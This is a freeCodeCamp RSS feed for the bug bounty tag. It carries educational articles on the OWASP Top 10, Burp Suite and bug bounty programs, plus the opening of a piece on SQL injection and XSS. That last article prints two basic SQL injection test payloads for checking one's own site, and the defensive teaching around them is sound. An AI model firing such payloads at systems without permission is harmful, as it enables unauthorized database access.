<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ bug bounty - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ bug bounty - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Mon, 11 May 2026 16:02:45 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/tag/bug-bounty/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ OWASP Top 10 Vulnerabilities – A Guide for Pen-Testers & Bug Bounty Hunters ]]>
                </title>
                <description>
                    <![CDATA[ In this article, we will look at OWASP and the top 10 web application vulnerabilities they've identified. This is a useful topic for both web app pen-testers and bug bounty hunters. What do web app pen-testers and bug bounty hunters have in common? T... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/owasp-top-10-vulnerabilities/</link>
                <guid isPermaLink="false">66d0360c31fbfb6c3390f1f1</guid>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Mon, 13 Feb 2023 23:44:49 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/02/image-39-1.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>In this article, we will look at OWASP and the top 10 web application vulnerabilities they've identified. This is a useful topic for both web app pen-testers and bug bounty hunters.</p>
<p>What do web app pen-testers and bug bounty hunters have in common? They are both hunting for bugs, but the latter makes more money ;)</p>
<p>Web application security is a broad topic. There are many ways a web app can be exploited. This can be a challenge for security engineers, especially if they are getting started in their careers.</p>
<p><a target="_blank" href="https://owasp.org/">OWASP</a>, short for Open Web Application Security Project, is an organization dedicated to improving software security. OWASP provides tools and resources for security engineers to help make their applications more secure.</p>
<p>OWASP’s most important contribution to cybersecurity is the OWASP Top 10 Vulnerabilities list. This list contains the 10 most critical web application security risks that should be monitored and prevented.</p>
<p>Knowing these 10 security risks will help you reduce the risk of attacks against your company’s web assets. It also helps bug-bounty hunters get an idea of what to look for while auditing web applications.</p>
<p>Let’s look at each OWASP vulnerability in detail.</p>
<h2 id="heading-injection-attacks">Injection Attacks</h2>
<p><img src="https://miro.medium.com/max/1050/0*a35--5rW6hbDhqL0.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: One.com</em></p>
<p>An injection is a type of vulnerability in which an attacker injects malicious code into a web app. Injections can lead to unauthorized access to sensitive data, loss of data, or even complete system compromise.</p>
<p>An example of an injection attack is SQL Injection. This is where an attacker injects malicious SQL code into a web application’s SQL query. This is performed when inputs into the web app are not properly checked. If successful, the malicious code gets executed by the database server.</p>
<p>Another example is Command Injection. Here, an attacker injects malicious shell commands into a web application. This can lead to devastating consequences including a complete system takeover.</p>
<p>To prevent injection attacks, check and sanitize all user input. Sanitizing is the removal of harmful or malicious data entered into the input box. </p>
<p>For example, if a user enters any characters other than an alphanumeric string, you can remove them before you send it to the backend and double check it in the backend as well. This helps to eliminate harmful or malicious content and protects against security threats.</p>
<p>Also, always use ready-made SQL queries in the backend instead of generating SQL queries on the fly. Additionally, keep all software and libraries up to date with the latest security patches.</p>
<h2 id="heading-insufficient-monitoring-and-logging">Insufficient Monitoring and Logging</h2>
<p><img src="https://miro.medium.com/max/1050/0*egLRXhlTvg1kMip1.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: Scalyr</em></p>
<p>Insufficient monitoring and logging refers to the lack of proper monitoring and logging for a web server or database. This makes detection and response to security incidents difficult.</p>
<p>For example, if a system does not have proper logging in place, it will be difficult to detect when an attacker tries to compromise the system. Without real-time monitoring, it will be difficult to detect security incidents on time.</p>
<p>To address insufficient monitoring and logging, you should implement robust monitoring systems that capture a wide range of events. This includes logging access to sensitive data, network traffic, and system logs.</p>
<p>Include monitoring for network devices as well by using services like <a target="_blank" href="https://www.snort.org/">Snort</a>. Snort is a free open source network intrusion detection and prevention system. Also, review and analyze log data periodically to identify trends and potential security incidents.</p>
<h2 id="heading-broken-authentication">Broken Authentication</h2>
<p><img src="https://miro.medium.com/max/1050/0*BpaGMLQRVcYEOlKZ.jpg" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: SSL2BUY</em></p>
<p>Broken authentication refers to weaknesses in the authentication process. This includes issues such as weak or easily guessable passwords, lack of proper password management, and using vulnerable authentication mechanisms.</p>
<p>For example, an attacker can exploit a system that allows weak passwords by guessing common passwords from a list like <a target="_blank" href="https://github.com/praetorian-inc/Hob0Rules/blob/master/wordlists/rockyou.txt.gz">rockyou.txt</a>. They can also use brute-force tools like Hydra and other password-cracking tools to break encryption if a weak algorithm is used.</p>
<p>Another example is using easily guessable security questions, such as “What is your mother’s maiden name?”. An attacker who has done basic research on the target can easily answer these questions.</p>
<p>To prevent broken authentication, enable strong authentication mechanisms, such as multi-factor authentication (MFA). Enforce password recycling policies that require users to change passwords periodically.</p>
<h2 id="heading-sensitive-data-exposure">Sensitive Data Exposure</h2>
<p><img src="https://miro.medium.com/max/1050/0*JFK9HgJ9pVq6OuCn.jpg" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: Spaceclick</em></p>
<p>Sensitive Data Exposure refers to storing and transmitting sensitive information without proper security. This includes passwords, credit card numbers, and personally identifiable information (PII).</p>
<p>The most common reason for this is lack of encryption. Encryption is the process of encoding information. This process converts the original text, known as plaintext, into an alternative form known as ciphertext. Ideally, only authorized parties can decipher a ciphertext back to plaintext and access the original information.</p>
<p>For example, if you have a database where you store passwords, you have to use some type of an encryption to protect your customer's passwords. If you store them as plaintext, you will be putting your customers under risk if you expose their passwords. </p>
<p>Without protective methods such as encryption, sensitive data exposure can result in the data being intercepted, stolen, or manipulated by an attacker. To mitigate this risk, always encrypt sensitive information when stored and transmitted.</p>
<p>Always store encrypted passwords instead of plain-text passwords. Enable access controls to ensure that only authorized personnel can access sensitive data.</p>
<h2 id="heading-xml-external-entities">XML External Entities</h2>
<p><img src="https://miro.medium.com/max/1050/0*2d-SrGkL8Jp3X0Uw.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: Cobalt.io</em></p>
<p>XML External Entities is a vulnerability that affects XML processors. This happens when they parse XML input from a user without proper validation.</p>
<p>This vulnerability allows an attacker to inject malicious XML code into an XML document. This can lead to the exposure of sensitive information, denial of service, and even remote code execution.</p>
<p>To prevent XXE attacks, applications should validate and sanitize XML input. Disable XML external entity and DTD processing by default.</p>
<p>Whenever possible, use a less complex data format, such as JSON. Most APIs are now JSON-based, so it would be a win-win to move away from XML to JSON.</p>
<h2 id="heading-broken-access-control"><strong>Broken Access Control</strong></h2>
<p><img src="https://miro.medium.com/max/1028/0*l-JKIns3xdMmDsuk.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: JavatPoint</em></p>
<p>While authentication tells us whether a user can access a system, access control tells us who can access a specific resource in a system.</p>
<p>Broken Access Control happens when an application does not restrict access to sensitive resources. This includes files, database records, or even product features that should be limited to select users.</p>
<p>Broken access control can lead to unauthorized users being able to view, change, or delete sensitive data. To reduce this risk, enable strong access control policies like role-based access for users, admins, and others.</p>
<p>Assign access rights based on the principle of least privilege. This means users should only have the least access required to perform their job. Regular security audits and assessments will help identify these access control vulnerabilities.</p>
<h2 id="heading-security-misconfiguration">Security Misconfiguration</h2>
<p><img src="https://miro.medium.com/max/1008/0*ulgvx9jVahT5CFsb.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: MyF5</em></p>
<p>Security Misconfiguration arises when an application is not configured properly. This will result in the exposure of critical information, such as error messages or system details.</p>
<p>For example, if you don't change the default settings of your backend, it can expose the error message to the user instead of gracefully handling it. You can often see this in PHP sites that print an error in the browser instead of a 500 message.</p>
<p>To reduce this risk, hide all debug and error messages from your production application. Apply appropriate security controls and patches as needed, on time. Finally, perform regular security scans and assessments to make sure there is no misconfiguration in your applications.</p>
<h2 id="heading-cross-site-scripting-xss">Cross-Site Scripting (XSS)</h2>
<p><img src="https://miro.medium.com/max/1050/0*lV00-0_ua_8xQlUf.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: Imperva</em></p>
<p>Cross-Site Scripting (XSS) is a common security issue in websites. If not handled, an attacker can inject malicious scripts into a web page. This script is then executed by the victim’s web browser.</p>
<p>Consider a website that allows users to post comments. An attacker could craft a comment that contains malicious JavaScript code and add it as a comment. If the input is not sanitized by the website, this code will execute on every user who opens the comments page.</p>
<p>XSS attacks can steal data such as login details, perform unauthorized actions on behalf of the victim, or even redirect the victim to a malicious website. To prevent XSS attacks, always sanitize user-generated content and double-check input data on the server side.</p>
<h2 id="heading-insecure-deserialization">Insecure Deserialization</h2>
<p><img src="https://miro.medium.com/max/1050/0*iJT40E_ArbQzB7qo.jpg" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: Portswigger</em></p>
<p>Deserialization is the process of converting a stream of bytes back into a data structure that a program can then use. Insecure Deserialization occurs when a web app deserializes untrusted data.</p>
<p>For example, a web application may allow users to upload a file containing serialized Java objects as input. The web application then deserializes the objects and processes them.</p>
<p>An attacker can craft a malicious file, which, when deserialized, will execute malware. This will allow an attacker to perform various types of attacks, such as remote code execution and privilege escalation.</p>
<p>To prevent Insecure Deserialization attacks, double-check all inputs from the user. Limit the amount of code that runs with high privileges and ensure that you encrypt all sensitive data.</p>
<h2 id="heading-using-components-with-known-vulnerabilities">Using Components with Known Vulnerabilities</h2>
<p><img src="https://miro.medium.com/max/926/0*woyu85N8xKXrC6YK.png" alt="Image" width="600" height="400" loading="lazy">
<em>Credits: Wildnet</em></p>
<p>When you plan to use a piece of software, check for known vulnerabilities. There are many public databases like <a target="_blank" href="https://www.exploit-db.com/">exploitdb</a> that will help you look for issues with third-party software.</p>
<p>These databases contain publicly disclosed vulnerabilities for various software and applications. Failing to do this will leave your application open to attacks. An attacker will do the research for you and use these vulnerabilities to gain access to your system.</p>
<p>For example, your application may use a third-party library to handle file uploads, but that library might have a known vulnerability. This will leave the application open to attack, even if the rest of the application is secure.</p>
<p>Make sure you do your research before using any third-party software for your business.</p>
<h2 id="heading-summary">Summary</h2>
<p>To summarize, OWASP’s Top 10 vulnerabilities is a vital checklist. It helps us to keep our web applications and software secure. </p>
<p>As a pen-tester or a bug bounty hunter, you should be aware of these vulnerabilities to stay ahead of attackers.</p>
<p>Always sanitize user input, employ logging, and do your research before using any third-party software.</p>
<hr>
<p>Hope you found this article insightful. You can find more AI &amp; cybersecurity articles / videos <a target="_blank" href="https://www.manishmshiva.com/">on my website</a>. </p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Use Burp Suite to Audit Web Applications – Pentesting and Bug Bounty Tool Overview ]]>
                </title>
                <description>
                    <![CDATA[ What is Burp Suite? Burp Suite is a powerful and widely-used web application testing platform. It helps security engineers identify potential risks in web applications. Burp Suite is also widely used by bug-bounty hunters. Since Burp Suite is a fully... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-audit-web-apps-with-burpsuite/</link>
                <guid isPermaLink="false">66d035d32b211a17e00e36dd</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Tue, 17 Jan 2023 14:00:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/01/burpsuite-article-image.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <h2 id="heading-what-is-burp-suite">What is Burp Suite?</h2>
<p>Burp Suite is a powerful and widely-used web application testing platform. It helps security engineers identify potential risks in web applications.</p>
<p>Burp Suite is also widely used by bug-bounty hunters. Since Burp Suite is a fully featured web-auditing platform, it comes with many tools to help you discover bugs in web applications. You can also use third-party modules to further improve Burp Suite's capabilities.</p>
<p>Burp Suite is an essential tool for any security testing team. In this article, we’ll take a closer look at the main components of Burp Suite, including the proxy, the intruder, and the repeater.</p>
<h2 id="heading-burp-proxy"><strong>Burp Proxy</strong></h2>
<p>One of the key components of Burp Suite is the Burp Proxy. This tool allows you to intercept and inspect traffic between your browser and the target. </p>
<p>By intercepting this traffic, you can understand exactly what data is being sent and received. This is useful for identifying potential vulnerabilities or misconfigurations in the application.</p>
<p>The proxy is particularly useful for identifying issues such as cross-site scripting (XSS) and SQL injection. </p>
<p>XSS is a type of security vulnerability that allows an attacker to inject malicious code into a web page. SQL injection allows an attacker to inject malicious SQL code into a web application. </p>
<p>By identifying these types of issues, you can take steps to mitigate them and improve the security of your application.</p>
<p>Also, Burp proxy allows us to forward requests to other Burp tools before sending them to the target. This allows us to further analyze the traffic and inspect individual requests and responses. This can be useful for identifying patterns or anomalies that might indicate a vulnerability.</p>
<h2 id="heading-burp-repeater"><strong>Burp Repeater</strong></h2>
<p>Another key component of Burp Suite is the Burp Repeater. The Repeater is a powerful tool that allows you to test the application by sending custom requests and analyzing the responses.</p>
<p>One of the key benefits of the Repeater is its ability to identify vulnerabilities that might not be visible during automated scans. Automated scans are useful for identifying a wide range of common vulnerabilities, but they may not be able to detect all the issues.</p>
<p>The Repeater gives us greater control over the testing process. It allows us to fine-tune our tests to identify specific vulnerabilities. For example, we will be able to identify a vulnerability by sending a request with a specific input.</p>
<p>By analyzing the response, we may find that the application is behaving in unexpected ways. This will indicate the possibility of a vulnerability. This vulnerability might not be detected using an automated scan, but it could potentially be exploited by an attacker.</p>
<p>The Repeater can also test the application’s resilience to specific types of attacks. For example, you can use the Repeater to send a series of requests to test the application’s ability to handle SQL injection or cross-site scripting (XSS) attacks. </p>
<p>By understanding the application’s behavior in these scenarios, you can take steps to improve its security.</p>
<h2 id="heading-burp-intruder"><strong>Burp Intruder</strong></h2>
<p>One of the most powerful tools in Burp Suite is the Burp Intruder. This tool allows you to launch automated attacks on web applications to test their security.</p>
<p>With the Burp Intruder, you can test for a wide range of vulnerabilities. This includes SQL injection, cross-site scripting (XSS), and directory traversal. The intruder is highly flexible, allowing us to customize our attacks.</p>
<p>We can also use the intruder to perform specific audits such as brute-forcing, dictionary attacks, and fuzzing. The Intruder also lets us target specific areas of the application by selecting custom parameters.</p>
<p>Given the damage Intruder can cause if used carelessly, Burp Suite has implemented rate-limiting in the community edition. This means that you can only use the Intruder for a certain number of requests, such as brute-forcing a login form, in the free version of the tool.</p>
<p>If you’re planning to use Burp Suite to audit your business applications, consider purchasing a commercial license. This will give you access to all the features of Burp Suite without any rate limits.</p>
<h2 id="heading-other-burp-tools"><strong>Other Burp Tools</strong></h2>
<p>Burp Suite also comes with many additional tools. These include the spider, scanner, decoder, sequencer, and comparer.</p>
<p>These tools serve as utilities in general web application audits. For example, the spider can help discover and map the content and structure of a web application. We can use the scanner to perform automated vulnerability scans.</p>
<p>The decoder helps to decode and analyze encoded data, while the sequencer enables us to test the randomness of tokens and session IDs. The comparer compares the behavior of different requests and responses. </p>
<p>In addition to these, there are also many third-party modules available in Burp Suite. These modules further extend the capabilities of Burp Suite to help us test our web applications.</p>
<h2 id="heading-summary"><strong>Summary</strong></h2>
<p>In conclusion, Burp Suite is a powerful set of tools for web application auditing. It includes a range of tools and features for testing the security of web applications. </p>
<p>The proxy, the intruder, and the repeater are some of the main components of Burp Suite, each one with a specific function for identifying and assessing security risks.</p>
<p>With the help of these tools, security professionals and testers can identify and mitigate risks in web applications. With all-around web auditing features, it is also an essential tool for bug-bounty hunters.</p>
<p>Hope you enjoyed this article. You can find more about my articles and videos on <a target="_blank" href="https://www.manishmshiva.com/">my website</a>.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What is a Bug Bounty Program? How Bug Bounties Work and Who Should Use Them ]]>
                </title>
                <description>
                    <![CDATA[ By Megan Kaczanowski Bug bounty programs allow independent security researchers to report bugs to an organization and receive rewards or compensation. These bugs are usually security exploits and vulnerabilities, though they can also include process ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/whats-a-bug-bounty-program/</link>
                <guid isPermaLink="false">66d4607f230dff016690583f</guid>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Mon, 07 Dec 2020 18:30:50 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/12/pexels-pixabay-35804.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Megan Kaczanowski</p>
<p>Bug bounty programs allow independent security researchers to report bugs to an organization and receive rewards or compensation. These bugs are usually security exploits and vulnerabilities, though they can also include process issues, hardware flaws, and so on.</p>
<p>The reports are typically made through a program run by an independent third party (like Bugcrowd or HackerOne). The organization will set up (and run) a program curated to the organization's needs. </p>
<p>Programs may be private (invite-only) where reports are kept confidential to the organization or public (where anyone can sign up and join). They can take place over a set time frame or with no end date (though the second option is more common).</p>
<h2 id="heading-who-uses-bug-bounty-programs">Who uses bug bounty programs?</h2>
<p>Many major organizations use bug bounties as a part of their security program, including AOL, Android, Apple, Digital Ocean, and Goldman Sachs. You can view a list of all the programs offered by major bug bounty providers, <a target="_blank" href="https://www.bugcrowd.com/bug-bounty-list/">Bugcrowd</a> and <a target="_blank" href="https://www.hackerone.com/">HackerOne</a>, at these links.</p>
<h2 id="heading-why-do-companies-use-bug-bounty-programs">Why do companies use bug bounty programs?</h2>
<p>Bug bounty programs give companies the ability to harness a large group of hackers in order to find bugs in their code. </p>
<p>This gives them access to a larger number of hackers or testers than they would be able to access on a one-on-one basis. It can also increase the chances that bugs are found and reported to them before malicious hackers can exploit them.</p>
<p>It can also be a good public relations choice for a firm. As bug bounties have become more common, having a bug bounty program can signal to the public and even regulators that an organization has a mature security program. </p>
<p>This trend is likely to continue, as some have started to see bug bounty programs as an industry standard which all organizations should invest in. </p>
<h2 id="heading-why-do-researchers-and-hackers-participate-in-bug-bounty-programs">Why do researchers and hackers participate in bug bounty programs?</h2>
<p>Finding and reporting bugs via a bug bounty program can result in both cash bonuses and recognition. In some cases, it can be a great way to show real-world experience when you're looking for a job, or can even help introduce you to folks on the security team inside an organization. </p>
<p>This can be full time income for some folks, income to supplement a job, or a way to show off your skills and get a full time job. </p>
<p>It can also be fun! It's a great (legal) chance to test out your skills against massive corporations and government agencies.</p>
<h2 id="heading-what-are-the-disadvantages-of-a-bug-bounty-program-for-independent-researchers-and-hackers">What are the disadvantages of a bug bounty program for independent researchers and hackers?</h2>
<p>A lot of hackers participate in these types of programs, and it can be difficult to make a significant amount of money on the platform. </p>
<p>In order to claim the reward, the hacker needs to be the first person to submit the bug to the program. That means that in practice, you might spend weeks looking for a bug to exploit, only to be the second person to report it and make no money. </p>
<p>R<a target="_blank" href="https://www.cyberscoop.com/bug-bounty-pen-testing-hackerone-synack-bugcrowd/">oughly 97% of</a> participants on major bug bounty platforms have never sold a bug. </p>
<p>In fact, a <a target="_blank" href="https://www.cyberscoop.com/bug-bounty-pen-testing-hackerone-synack-bugcrowd/">2019 report</a> from HackerOne confirmed that out of more than 300,000 registered users, only around 2.5% received a bounty in their time on the platform. </p>
<p>Essentially, most hackers aren't making much money on these platforms, and very few are making enough to replace a full time salary (plus they don't have benefits like vacation days, health insurance, and retirement planning). </p>
<h2 id="heading-what-are-the-disadvantages-of-bug-bounty-programs-for-organizations">What are the disadvantages of bug bounty programs for organizations?</h2>
<p>These programs are only beneficial if the program results in the organization finding problems that they weren't able to find themselves (and if they can fix those problems)! </p>
<p>If the organization isn't mature enough to be able to quickly remediate identified issues, a bug bounty program isn't the right choice for their organization. </p>
<p>Also, any bug bounty program is likely to attract a large number of submissions, many of which may not be high-quality submissions. An organization needs to be prepared to deal with the increased volume of alerts, and the possibility of a low signal to noise ratio (essentially that it's likely that they'll receive quite a few unhelpful reports for every helpful report).</p>
<p>Additionally, if the program doesn't attract enough participants (or participants with the wrong skill set, and thus participants aren't able to identify any bugs), the program isn't helpful for the organization. </p>
<p>The vast majority of bug bounty participants concentrate on website vulnerabilities (72%, according to HackerOn), while only a few (3.5%) opt to look for operating system vulnerabilities. </p>
<p>This is likely due to the fact that hacking operating systems (like network hardware and memory) requires a significant amount of highly specialized expertise. This means that companies may see significant return on investment for bug bounties on websites, and not for other applications, particularly those which require specialized expertise.</p>
<p>This also means that organizations which need to examine an application or website within a specific time frame might not want to rely upon a bug bounty as there's no guarantee of when or if they receive reports.</p>
<p>Finally, it can be potentially risky to allow independent researchers to attempt to penetrate your network. This may result in public disclosure of bugs, causing reputation damage in the public eye (which may result in people not wanting to purchase the organizations' product or service), or disclosure of bugs to more malicious third parties, who could use this information to target the organization.</p>
<h2 id="heading-is-a-bug-bounty-program-right-for-every-organization">Is a bug bounty program right for every organization?</h2>
<p>No. An organization needs to reach a certain level of maturity in their security program before a bug bounty program can be effective. </p>
<p>The biggest question an organization needs to ask is whether or not they will be able to fix any identified vulnerabilities. If they can't do so within a reasonable amount of time, a bug bounty program probably isn't a good idea. </p>
<p>If the organization is struggling to implement basic patch management or they have a host of other identified problems that they are struggling to fix, then the additional volume of reports which a bug bounty program will generate is not a good idea. </p>
<p>A bug bounty program becomes a good idea when there is not a backlog of identified security issues, remediation processes are in place for addressing identified issues, and the team is looking for additional reports. </p>
<p>Additionally, as I mentioned earlier, while websites are usually good targets for bug bounty programs, a highly specialized target, such as network hardware or even operating systems, may not attract enough participants to be worthwhile.</p>
<p>Finally, the amount of money or prestige afforded by successfully submitting a report for different organizations may impact the number of participants and the number of highly skilled participants (that is, reporting a bug for Apple or Google may carry more prestige than a bug for a company which isn't as well known).</p>
<h2 id="heading-what-are-the-alternatives-to-bug-bounty-programs">What are the alternatives to bug bounty programs?</h2>
<p>First, organizations should have a vulnerability disclosure program. Essentially, this provides a secure channel for researchers to contact the organization about identified security vulnerabilities, even if they do not pay the researcher. </p>
<p>Having an identified point of contact can be helpful as it can immediately filter requests to the security team, rather than a communications team which may not know how seriously to treat the report. It can also encourage researchers to report vulnerabilities when found. </p>
<p>Typically this also includes a framework for how to handle intake, mitigation, and any remediation measures.</p>
<p>Additionally, organizations may opt to hire a penetration testing firm to perform a time-limited test of specific systems or applications. The pen testers will have a curated, directed target and will produce a report at the end of the test. </p>
<p>This will ensure that the company gets a team of highly skilled, trusted hackers at a known price. They can also request any specialized expertise which they need, as well as ensuring the test is private, rather than publicly accessible. </p>
<p>The company may even have the testers sign non-disclosure agreements and test highly sensitive internal applications. </p>
<p>However, this is typically a single event, rather than an ongoing bounty. Also, penetration testers are paid whether or not they find any vulnerabilities (whereas in a bug bounty the researchers are only paid if they successfully report a bug). </p>
<h2 id="heading-which-is-better-bug-bounty-programs-or-hired-penetration-testers">Which is better – bug bounty programs or hired penetration testers?</h2>
<p>Often these two methods are not directly comparable - each has strengths and weaknesses. </p>
<p>If the organization would benefit more from having more people (of varying skill levels) looking at a problem, the application isn't particularly sensitive, and it doesn't require specific expertise, a bug bounty is probably more appropriate. </p>
<p>If the application is internal/sensitive, the problem requires specific expertise, or the organization needs a response within a specific time frame, a penetration test is more appropriate. </p>
<p>Interested in learning more about bug bounties?</p>
<ul>
<li><a target="_blank" href="https://www.hacker101.com/">HackerOne has an introductory course to help folks get into bug bounties</a>.</li>
<li>Here's an interview with <a target="_blank" href="https://www.theverge.com/2020/7/7/21315870/cybersecurity-bug-bounties-commercialization-katie-moussouris-interview-vergecast-podcast">Katie Moussouris, one of the biggest names in Bug Bounties</a>.</li>
</ul>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ SQL injection and XSS: what white hat hackers know about trusting user input ]]>
                </title>
                <description>
                    <![CDATA[ Software developers have a lot on their minds. There are are myriad of questions to ask when it comes to creating a website or application: What technologies will we use? How will the architecture be set up? What functions do we need? What will the U... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/sql-injection-and-xss-what-white-hat-hackers-know-about-trusting-user-input/</link>
                <guid isPermaLink="false">66bd8f84ecf2a326d61fea94</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ bug bounty ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web App Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Victoria Drake ]]>
                </dc:creator>
                <pubDate>Tue, 03 Sep 2019 12:34:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2019/09/cover-1.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Software developers have a lot on their minds. There are are myriad of questions to ask when it comes to creating a website or application: <em>What technologies will we use? How will the architecture be set up? What functions do we need? What will the UI look like?</em> </p>
<p>Especially in a software market where shipping new apps seems more like a race for reputation than a well-considered process, one of the most important questions often falls to the bottom of the “Urgent” column: how will our product be secured?</p>
<p>If you’re using a robust, open-source framework for building your product (and if one is applicable and available, why wouldn’t you?) then some basic security concerns, like CSRF tokens and password encryption, may already be handled for you. </p>
<p>Still, fast-moving developers would be well served to brush up on their knowledge of common threats and pitfalls, if only to avoid some embarrassing rookie mistakes. Usually, the weakest point in the security of your software is <em>you.</em></p>
<p>I’ve recently become more interested in information security in general, and practicing ethical hacking in particular. An ethical hacker, sometimes called a “white hat” hacker, and sometimes just a “hacker,” is someone who searches for possible security vulnerabilities and responsibly (privately) reports them to project owners. </p>
<p>By contrast, a malicious or “black hat” hacker, also called a “cracker,” is someone who exploits these vulnerabilities for amusement or personal gain. </p>
<p>Both white hat and black hat hackers might use the same tools and resources, and generally try to get into places they aren’t supposed to be. But white hats do this with permission, and with the intention of fortifying defences instead of destroying them. Black hats are the bad guys.</p>
<p>When it comes to learning how to find security vulnerabilities, it should come as no surprise that I’ve been devouring whatever information I can get my hands on. This post is a distillation of some key areas that are specifically helpful to developers when handling user input. These lessons have been collectively gleaned from these excellent resources:</p>
<ul>
<li>The <a target="_blank" href="https://www.owasp.org/index.php/Main_Page">Open Web Application Security Project</a> guides</li>
<li>The Hacker101 playlist from <a target="_blank" href="https://www.youtube.com/channel/UCsgzmECky2Q9lQMWzDwMhYw/">HackerOne’s YouTube channel</a></li>
<li><a target="_blank" href="https://leanpub.com/web-hacking-101">Web Hacking 101</a> by Peter Yaworski</li>
<li><a target="_blank" href="https://brutelogic.com.br/blog/">Brute Logic’s blog</a></li>
<li>The <a target="_blank" href="https://www.youtube.com/channel/UC9-y-6csu5WGm29I7JiwpnA">Computerphile</a> YouTube channel</li>
<li>Videos featuring Jason Haddix (<a target="_blank" href="https://github.com/jhaddix/">@jhaddix</a>) and Tom Hudson (<a target="_blank" href="https://github.com/tomnomnom/">@tomnomnom</a>) (two accomplished ethical hackers with different, but both effective, methodologies)</li>
</ul>
<p>You may be familiar with the catchphrase, “sanitize your inputs!” However, as I hope this post demonstrates, developing an application with robust security isn’t quite so straightforward. </p>
<p>I suggest an alternate phrase: pay attention to your inputs. Let’s elaborate by examining the most common attacks that take advantage of vulnerabilities in this area: SQL injection and cross site scripting.</p>
<h1 id="heading-sql-injection-attacks">SQL injection attacks</h1>
<p>If you’re not yet familiar with SQL (Structured Query Language) injection attacks, or SQLi, here is a great <a target="_blank" href="https://www.youtube.com/watch?v=_jKylhJtPmI">explain-like-I’m-five video on SQLi</a>. You may already know of this attack from <a target="_blank" href="https://xkcd.com/327/">xkcd’s Little Bobby Tables</a>. </p>
<p>Essentially, malicious actors may be able to send SQL commands that affect your application through some input on your site, like a search box that pulls results from your database. Sites coded in PHP can be especially susceptible to these, and a successful SQL attack can be devastating for software that relies on a database (as in, your Users table is now a pot of petunias).</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/11/sqli.png" alt="A monitor with an SQL Select command that gets all your base" width="600" height="400" loading="lazy">
<em>You have no chance to survive make your time.</em></p>
<p>You can test your own site to see if you’re susceptible to this kind of attack. (Please only test sites that you own, since running SQL injections where you don’t have permission to be doing so is, possibly, illegal in your locality; and definitely, universally, not very funny.) The following payloads can be used to test inputs:</p>
<ul>
<li><code>' OR 1='1</code> evaluates to a constant true, and when successful, returns all rows in the table.</li>
<li><code>' AND 0='1</code> evaluates to a constant false, and when successful, returns no rows.</li>
</ul>
<p><a target="_blank" href="https://www.youtube.com/watch?v=ciNHn38EyRc">This video demonstrates the above tests</a>, and does a great job of showing how impactful an SQL injection attack can be.</p>
<p>Thankfully, there are ways to mitigate SQL injection attacks, and they all boil down to one basic concept: don’t trust user input.</p>
